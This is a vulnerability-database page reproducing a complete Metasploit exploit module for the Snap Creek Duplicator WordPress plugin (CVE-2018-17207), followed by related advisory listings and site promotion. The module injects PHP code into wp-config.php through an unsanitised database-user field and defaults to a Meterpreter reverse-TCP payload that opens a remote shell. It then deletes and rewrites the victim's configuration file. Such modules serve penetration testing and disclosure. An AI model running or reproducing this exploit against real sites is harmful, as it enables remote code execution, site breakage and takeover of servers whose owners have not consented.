Lucene search
K

WordPress Snap Creek Duplicator Code Injection Exploit

🗓️ 12 Dec 2018 00:00:00Reported by metasploitType 
zdt
 zdt
🔗 0day.today👁 40 Views

WordPress Snap Creek Duplicator Code Injectio

Related
Code
ReporterTitlePublishedViews
Family
ATTACKERKB
Snap Creek Duplicator RCE
19 Sep 201800:00
attackerkb
Circl
CVE-2018-17207
11 Dec 201818:12
circl
CNVD
Snap Creek Duplicator PHP Code Injection Vulnerability
20 Sep 201800:00
cnvd
Check Point Advisories
WordPress Snap Creek Duplicator Code Injection (CVE-2018-17207)
18 Dec 201800:00
checkpoint_advisories
CVE
CVE-2018-17207
19 Sep 201816:00
cve
Cvelist
CVE-2018-17207
19 Sep 201816:00
cvelist
Metasploit
Snap Creek Duplicator WordPress plugin code injection
11 Dec 201817:59
metasploit
Nuclei
WordPress Duplicator Plugin < 1.2.42 - Arbitrary Code Execution
11 Jun 202603:33
nuclei
NVD
CVE-2018-17207
19 Sep 201816:29
nvd
OpenVAS
WordPress Duplicator Plugin < 1.2.42 RCE Vulnerability
15 Nov 201800:00
openvas
Rows per page
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ManualRanking # this module overwrites the configuration file, breaking the website

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name'            => 'Snap Creek Duplicator WordPress plugin code injection',
      'Description'     => %q{
        When the WordPress plugin Snap Creek Duplicator restores a backup, it
        leaves dangerous files in the filesystem such as installer.php and
        installer-backup.php. These files allow anyone to call a function that
        overwrite the wp-config.php file AND this function does not sanitize
        POST parameters before inserting them inside the wp-config.php file,
        leading to arbitrary PHP code execution.
        WARNING: This exploit WILL break the wp-config.php file. If possible try
        to restore backups of the configuration after the exploit to make the
        WordPress site work again.
      },
      'Author'          => [
        'Julien Legras <[email protected]>',
        'Thomas Chauchefoin <[email protected]>'
      ],
      'References'     => [
        ['URL', 'https://www.synacktiv.com/ressources/advisories/WordPress_Duplicator-1.2.40-RCE.pdf'],
        ['WPVDB', '9123'],
        ['CVE', '2018-17207']
      ],
      'License'         => MSF_LICENSE,
      'Privileged'      => false,
      'DisclosureDate'  => 'Aug 29 2018',
      'DefaultOptions'  =>
      {
        'PAYLOAD' => 'php/meterpreter/reverse_tcp'
      },
      'Platform'        => 'php',
      'Arch'            => ARCH_PHP,
      'Targets'         => [['WordPress Duplicator <= 1.2.40', {}]],
      'DefaultTarget'   => 0))

    register_options([
      OptString.new('TARGETURI', [true, "The TARGETURI where installer.php or installer-backup.php is located", "/installer.php"]),
      OptInt.new('TIMEOUT', [ true, 'Timeout for web requests', 40]),
      ])
  end

  def check
    tpath = normalize_uri(datastore['TARGETURI'])

    vprint_status("Checking URI #{rhost+tpath}")
    response = send_request_cgi({ 'uri' => tpath}, timeout=datastore['TIMEOUT'])

    unless response
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    unless response.code == 200
      vprint_error("Server responded with #{response.code}")
      return CheckCode::Safe
    end

    version = response.body.to_s.scan( /version: ([^<]*)</).last.first
    if Gem::Version.new(version) <= Gem::Version.new("1.2.40")
      return CheckCode::Vulnerable
    else
      return CheckCode::Detected
    end

  end

  def create_wp_config_file
    # 1. GET the installer.php to retrieve the archive name.
    response = send_request_cgi({'uri' => normalize_uri(datastore['TARGETURI'])}, timeout=datastore['TIMEOUT'])
    unless response && response.code == 200
      fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
    end
    archive_name = response.body.to_s.scan(/value="([^"]*.zip)"/).flatten.first
    if archive_name.blank?
      fail_with(Failure::NotFound, "Failed to retrieve the archive name, cannot create the wp-config.php file.")
    end

    print_status("Found archive name #{archive_name}")

    # 2. Perform the 1st step to actually create the wp-config.php file.
    response = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['TARGETURI']),
      'vars_post'   => {
        'action_ajax' => "1",
        'action_step' => "1",
        'archive_name' => archive_name,
        'archive_engine' => "ziparchive",
        'exe_safe_mode' => "0",
        'archive_filetime' => "current",
        'logging' => "1"
      }
    }, timeout=datastore['TIMEOUT'])
    unless response && response.code == 200
      fail_with(Failure::Unknown, "The archive file #{archive_name} was probably deleted.")
    end

    print_status("Successfully created the wp-config.php file!")
  end

  def exploit
    print_status("Checking if the wp-config.php file already exists...")
    tpath_wp_config = normalize_uri(datastore['TARGETURI'] + '/../wp-config.php')
    response = send_request_cgi({ 'uri' => tpath_wp_config}, timeout=datastore['TIMEOUT'])

    if response && response.code == 404 # we have to perform action_step 1 to create the wp-config.php file.
      print_status("This WordPress was not restored. Creating the wp-config.php file...")
      create_wp_config_file
    end

    # 2. Exploit the code injection.
    print_status("All good! Injecting PHP code in the wp-config.php file...")
    response = send_request_cgi({
      'method' => 'POST',
      'uri'    => normalize_uri(datastore['TARGETURI']),
      'vars_post'   => {
        'action_ajax' => "3",
        'action_step' => "3",
        'dbhost' => rand_text_alphanumeric(20),
        'dbname' => rand_text_alphanumeric(20),
        'dbpass' => rand_text_alphanumeric(20),
        'dbuser' => "');?>" + payload.encoded + "/*",
        'dbport' => rand_text_numeric(5)
      }
    }, timeout=datastore['TIMEOUT'])

    if response && response.code == 200
      print_status("Requesting wp-config.php to execute the payload...")
      send_request_cgi({ 'uri' => tpath_wp_config }, timeout=datastore['TIMEOUT'])
    else
      print_error("Failed to inject PHP code in wp-config.php...")
    end
  end

  def on_new_session(client)
    if client.type.eql?('meterpreter')
      client.core.use('stdapi') unless client.ext.aliases.include?('stdapi')
      client.fs.file.rm('wp-config.php')
    else
      client.shell_command_token('rm wp-config.php')
    end
    print_status("Attempting to recreate wp-config file...")
    create_wp_config_file
  end
end

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

12 Dec 2018 00:00Current
9.7High risk
Vulners AI Score9.7
CVSS 27.5
CVSS 3.19.8
EPSS0.91225
40